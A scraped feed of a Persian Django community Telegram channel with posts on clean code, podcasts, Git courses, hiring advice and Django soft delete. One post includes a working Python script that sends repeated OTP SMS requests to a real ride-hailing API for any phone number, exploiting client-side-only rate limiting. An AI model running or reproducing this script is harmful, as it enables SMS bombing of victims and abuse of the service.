Django Expert
9.71K subscribers
993 photos
81 videos
114 files
1.34K links
✔️ بزرگترین کانال و جامعه جنگو به فارسی
Contact:
@majid_aghamohamad
@BobyCloud

Group:
@DjangoIR

Our Site ;coming soon:
🔜 PyExpert.ir

تبلیغات نداریم فقط درج آگهی های استخدامی مرتبط پذیرفته می‌شود
Download Telegram
✔️ راهنمای کلین کد در پایتون

کتاب کلین کد معروف آقای Robert C. Martin برای هر برنامه نویسی از واجباته، اما چون درمورد جاوا صحبت میکنه، برای برنامه نویس های پایتون لذت بخش و خیلی بدردبخور نیست.
این ریپو راهنمای بسیار خوب و دقیقی برای کد تمیز نوشتن در پایتون هست که همون کتاب کلین کده، اما به زبان پایتون

از خوندنش لذت ببرید
👉 Link: https://github.com/SepehrRasouli/clean-code-python

بچه‌ها سپهر کل ریپو کلین کد پایتون رو به فارسی ترجمه کرده،‌ برای حمایت ازش استار بدید 🔥✌️

〰️〰️〰️〰️〰️
© @DjangoEx
🔥51👍1582👏1🙏1
This media is not supported in your browser
VIEW IN TELEGRAM
✔️ وقتی مدیر پروژه میپرسه این فیچر کی آماده میشه؟

#fun
〰️〰️〰️〰️〰️
© @DjangoEx
😁44👍3👎1
✔️ پادکست کامپایل پادکست خوبیه، پیشنهاد می‌کنم گوش بدید.

راجع به TDD، BDD، دوآپس، اجایل و اسکرام، مهاجرت کاری به دانمارک و … صحبت می‌کنه.
👉 Link: https://open.spotify.com/show/7vG8xY1ih6mVLn8OHZkRx1?si=a67af5acbdb84ab9
سرچ کنید توی بقیه جاها بجز اسپاتیفای هم هست.

〰️〰️〰️〰️〰️
© @DjangoEx
👍15🔥4
توی اینستا میچرخیدم که یه ویدیو آموزش پایتون اومد. فرد ۶۷ هزار فالور داشت و به نظرم میومد کلا فرد اوکیه و نمیشه اسمشو مدحج ۲ گذاشت. اما نکته عجیبی بود.

ایشون طرح سوال کردن که «اگر بخوایم شماره ایندکس های یک ارایه (لیست) رو چاپ کنیم، چه روشی استفاده می کنید» و به ذهن من اومد:
for in range(len(my_list)): ...

اما این دوستمون گفتن اگر از این روش استفاده کنید، نشون میده چیزی از پایتون یاد نگرفتید😁 و روش بهتر اینه:
for i, num in enumerate(my_list): ...

شما در نظرسنجی پایین شرکت کنید و بگید از کدوم راه استفاده می کنید؟

〰️〰️〰️〰️〰️
© @DjangoEx
👍9🥰1
👍6👎2
✔️ این پست لینکداین جزو پست‌هایی بود که نمیدونستم بخندم یا گریه کنم

#موقت
〰️〰️〰️〰️〰️
© @DjangoEx
😁46😢6👍1🥰1🤣1
Django Expert
✔️ این پست لینکداین جزو پست‌هایی بود که نمیدونستم بخندم یا گریه کنم #موقت 〰️〰️〰️〰️〰️ © @DjangoEx
✔️ شاید فکرکنید که این اتفاق فقط توی شرکت‌های کوچیک اتفاق می‌افته، اما سال گذشته که خودم تست کردم، اسنپ هم این مشکل رو داشت و با یه api call میتونستید در دقیقه صدها پیامک OTP به یک شماره خاص ارسال کنید. درواقع محدودیت زمانی رو فقط سمت کلاینت چک می‌کرد. 🙂

اینم کدش

import requests
x = input("Number:+98")
y = int(input("Power:"))
payload = {"cellphone":"+98%s" % x}
for i in range(y):
resp = requests.post('https://app.snapp.taxi/api/api-passenger-oauth/v2/otp', json=payload)
print(resp.json())



#موقت
〰️〰️〰️〰️〰️
© @DjangoEx
👍23😱5😢2🥰1
Django Expert
✔️ فرق برنامه‌نویس جونیور/مدیور/سنیور/تکنیکال لید چه چیزهایی هست؟ از دیدگاه مهدی ولیزاده، Senior Software Engineer در هلند اگر مایل هستید ویدئو کامل رو ببینید نکات خیلی خوبی برای پیشرفت در مسیر شغلی مهندسی نرم افزار مطرح شده. امیدوارم مفید باشه. 👉 Link:…
✔️ آقای مهدی ولیزاده عزیز که قبلا باهاشون صحبت کرده بودیم، یک دوره جدید گیت ضبط کردن،
پیشنهاد میکنم حتما ببینید و استفاده کنید، سرفصل‌های خیلی خوبی داره، رایگان روی یوتوب هست و ایشون هم پر از تجربه هستند.

👉 Link: https://www.youtube.com/playlist?list=PLvL5xOAThbTBPsPBiU-gagH1-iKH-gEJS

〰️〰️〰️〰️〰️
© @DjangoEx
👍18🔥5🥰32👎1
اشتراک دیتابیس AWS رایگان میخواید؟

از PlanetScale استفاده کنید. توی ریجن های مختلف، یه پلن فری داره به اندازه ۵ گیگابایت. بنظرم واسه خیلی از کیس ها، به صرفس. تازه، یه انجین دیتابیس واسش نوشتم که باهاش میتونید پروژه جنگوتون رو به دیتابیس هاشون وصل کنید. :)

جدیدا هم ریجن لندن رو لانچ کردن. 👌

Package 👉 https://github.com/lnxpy/django-psdb-engine

PlanetScale 🫴 https://planetscale.com

〰️〰️〰️〰️〰️
© @DjangoEx | @lnxpylnxpy
👍16🤩71🥰1👏1
آموزش پایتون، دوآپس و مهندسی نرم افزار | BobyCloud
✔️ آشنایی با Latency Numbers برای هر مهندس نرم‌افزاری اجباری هست! دکتر Jeff Dean تحقیقی در سال ۲۰۱۰ انجام داده برای بررسی میزان تاخیر پردازش های کامپیوتری، ایشون از مهندس های قدیمی گوگل از سال ۱۹۹۹ هست و بخش های زیادی از محصولات گوگل رو طراحی و پیاده سازی…
✔️ قبلا یه پست از جف دین گذاشته بودم توی کانال و ایشون بالاترین لول مهندسی رو توی گوگل داره

توی این رشتو لوکوموتیو عزیز اومده ۳۵ تا جوک توی شرکت گوگل راجع به جف دین هست رو نوشته که خیلی باحاله:
👉 Link: https://twitter.com/Loc0m0/status/1565177889296764928

این خیلی باحال تر بود: جف برای این‌که یه ایده رو سریع بتونه یه جایی بنویسه که یادش نره، اون رو به زبان اسمبلی می‌نویسه. 😂

〰️〰️〰️〰️〰️
© @DjangoEx
😁16🔥7👍5🥰1
Branch Like a Pro 🔥

در این پست، درباره انواع Flowهای توسعه صحبت کردیم. از Git Flow‌ و GitHub Flow‌ تا فلوی محبوب GitLab و باقی استراتژی‌ها. درباره برنچ‌های اساسی صحبت کردیم و با بست پرکتیس‌های انتخاب اسم مناسب بعنوان نام برنچ آشنا شدیم!

🫶 یک پینوشت نسبتا کوتاه: جدیدا یک مجموعه رو شروع کردم بعنوان Develop Like a Pro‌ و سعی دارم درباره تریک‌ها و بست‌پرکتیس‌های حوزه خودمون تحت این مجموعه برای دوستانی که علاقهمند هستن و سعی دارن وارد بازار کار شن، مقاله بنویسم. توجهتون از مقاله اول باعث شد دست به کار شم و مقاله دوم این مجموعه رو هم بنویسم. 😍🥳

امیدوارم لذت ببرید. :)❤️

👉 Link: https://imsadra.me/branch-like-a-pro

〰️〰️〰️〰️〰️
© @DjangoEx | @lnxpylnxpy
🔥27👍5🤩32👎2🥰1🤔1
Forwarded from </AminAli>
معرفی سری پادکست رزومه سازی و استخدام

مواردی که توی این سری بررسی خواهد شد:
فرآیند رزومه سازی
فرآیند مصاحبه
فرآیند استخدام


اگه تایم ویس ها بالاست با سرعت ۱.۵ گوش بدید.

⭐️ خوشحال میشم نظرات و سوالاتتون رو بشنوم تا بتونیم این دانش رو به هم منتقل کنیم و بیشتر یاد بگیریم.
👍23👎111🥰1👏1
Forwarded from </AminAli>
فرآیند رزومه سازی

مواردی که در این پادکست بررسی شد:
ساخت رزومه PDF (ساخت رزومه با نرم افزار Inkscape)
دریافت گواهینامه های تخصصی برای رزومه بهتر
درست کردن و رسیدگی خوب به گیت هاب برای ارائه بهتر مهارت ها
ساخت اکانت لینکدین برای ایجاد کانکشن های بیشتر


⭐️ خوشحال میشم نظرات و سوالاتتون رو بشنوم تا بتونیم این دانش رو به هم منتقل کنیم و بیشتر یاد بگیریم.
👍21👎132🥰1👏1
Forwarded from </AminAli>
دلایل رد شدن رزومه در سایت های استخدامی

در این پادکست این موارد بررسی شد:
علل مختلف برای رد شدن یا موندن رزومه روی حالت «بررسی شده» رو گفتیم و بررسی کردیم


⭐️ خوشحال میشم نظرات و سوالاتتون رو بشنوم تا بتونیم این دانش رو به هم منتقل کنیم و بیشتر یاد بگیریم.
👍16👎13👏3🥰21
Forwarded from </AminAli>
فرآیند مصاحبه

مواردی که توی این پادکست بررسی شد:
اولین مصاحبه
مصاحبه فنی و سوالاتی که پرسیده میشه
پرسش و پاسخ منابع انسانی
تمرین فنی
پاسخ به چندتا از سوالات متداول

منابعی که توی پادکست معرفی شد:
HR Interview questions
Culture interview questions
پلی لیست آقای بابازاده در رابطه با مصاحبه شغلی در یوتیوب

⭐️ خوشحال میشم نظرات و سوالاتتون رو بشنوم تا بتونیم این دانش رو به هم منتقل کنیم و بیشتر یاد بگیریم.
👎17🙏14👍5🥰2👏21
✔️ یکی از دوستان به تازگی به عنوان اولین تجربه کار رسمی، در زمینه Python Backend Developer در یک شرکت خوب استخدام شده، از ایشون خواهش کردیم تجربیات و مسیری که رفته رو در قالب یک پادکست (چند ویس) بیان کنه. نکات خیلی خوبی در ویس‌ها بیان شده.👆

پیشنهاد میکنم همه دوستانی که به دنبال اولین کار هستن ۴ تا ویس بالا رو گوش بدن چون خیلی کمک کننده هست.
💎 امیدوارم برای دوستان عزیز مفید باشه و اولین کار حوزه برنامه‌نویسی رو بگیرید.

#django #interview #مصاحبه #بازارکار
〰️〰️〰️〰️〰️
© @DjangoEx
🔥31👎9👍7🙏5🕊3🥰2🏆21
Django Expert
image_2022-09-06_09-51-29.png
✔️ راجع به رزومه و پیام‌های بالا گفتم یه ویس ضبط کنم یک سری توضیحات رو بدم،

امیدوارم واسه بچه هایی که میخوان اولین کارشون رو بگیرن کمک کننده باشه.

〰️〰️〰️〰️〰️
© @DjangoEx
22👍6🥰2🔥1👏1🎉1
✔️ چطور یک رزومه رد نشدنی برنامه نویسی بنویسیم؟

خیلی از من در مورد رزومه نوشتن سوال کردید و بالاخره به این سوال هم جواب دادم و در این ویدیو با بررسی رزومه ها توضیح دادم که یک رزومه رد نشدنی برنامه نویسی چطور باید باشه.

🖥 مشاهده در یوتوب:
👉 Link: https://youtu.be/TWc5Ov_YCoY

🛑توجه: حتماً، قطعاً، مسلماً و موکداً لطفاً با هندزفری تماشا کنید. 🛑

〰️〰️〰️〰️〰️
© @DjangoEx
🔥20👎101
پیاده سازی Django Soft Delete

چندی پیش خبری منتشر شد که در توییتر حذف داده‌ها به درستی انجام نمی‌شود. واقعیت این است که در اغلب نرم‌افزارهای مدرن داده‌ها به صورت فیزیکی حذف نمی‌شوند و صرفا برچسپ حذف شده می‌گیرند. در این ویدیو با هدف آشنایی بیشتر با مدل‌های abstract و proxy در جنگو و همچنین ایجاد Custom Queryset و Custom Manager و Custom Admin Action مدلی را طراحی کردیم که در صورت ارث بری از آنها داده‌ها با دستور حذف به صورت فیزیکی پاک نشوند و در صورت لزوم برگردانده شوند. برای توضیح بیشتر نیز به جنگو ادمین یک اکشن اضافه کردیم که داده‌هایی که حذف شده اند را برکردانیم


Link: https://youtu.be/I_23u4xj1Ws

PlayList: https://youtube.com/playlist?list=PLJ9zDGwhhsBwdrfdaoOqbYev3_ocuBOfv

〰️〰️〰️〰️〰️
© @DjangoEx
28👍9🔥7🥰4
Django Expert
پیاده سازی Django Soft Delete چندی پیش خبری منتشر شد که در توییتر حذف داده‌ها به درستی انجام نمی‌شود. واقعیت این است که در اغلب نرم‌افزارهای مدرن داده‌ها به صورت فیزیکی حذف نمی‌شوند و صرفا برچسپ حذف شده می‌گیرند. در این ویدیو با هدف آشنایی بیشتر با مدل‌های…
یکی از دوستان کامنت بسیار مهمی تو یوتیوب نوشته بودند و دیدم  خالی از لطف نیست اینجا هم پست کنم.

سوال :
Vessal Daneshvar
برای فیلد های یونیک هم میشه راهنمایی بکنید که soft delete چجوی باشه بهتره ، معمولا یه مقدار پیچیدگی ایجاد میشه موقع پیاده سازی کردن مواردی که باید یونیک باشن و حذف شده اند و مجدد میخوان ایجاد بشن

جواب:
میدونید که یونیک در واقع یک کانستراینت و ایندکس سمت دیتابیسه. یکی از ویژگی های بسیار مهم و جذابی که ارایه میده تعریف conditional constraint که مثلا تو سناریو این ویدیو میتونید بگید ایندکس یونیک صرفا رو مواردی که is_deleted فالس هست اعمال شوند. مثلا به این صورت
UniqueConstraint(fields=['user'], condition=Q(status='DRAFT'), name='unique_draft_user')
جزییات کاملتر تو داکیومنتیشن اینجاست.
https://docs.djangoproject.com/en/4.1/ref/models/constraints/#condition


پی نوشت: از منظر مدیریت ایندکس و کانستراینت‌ها به جرات میتونم بگم جنگو یه سر و گردن از سایر ORM ها مثل لاراول بالاتره.البته دلیلش خود جنگو یا لاراول نیست. دلیلش فرهنگ حاکم بر کامیونیتشونه. تو کامیونیتی php انتخاب اول دیتابیس عموما  MySQL و مشتقاتشه اما تو پایتون معمولا انتخاب اول PostgreSQL هستش و نکته اینجاست که مای اس کیو ال برای ایندکس تمرکزش بر ایندکس های مبتنی بر  درخته و خیلی خوب این کارو میکنه. تو پستگرس علاوه بر ایندکس های مبتنی بر درخت، طیف گسترده ای از ایندکس ها شامل expresseion و partial رو ساپورت میکنه
🔥33🤔2👍1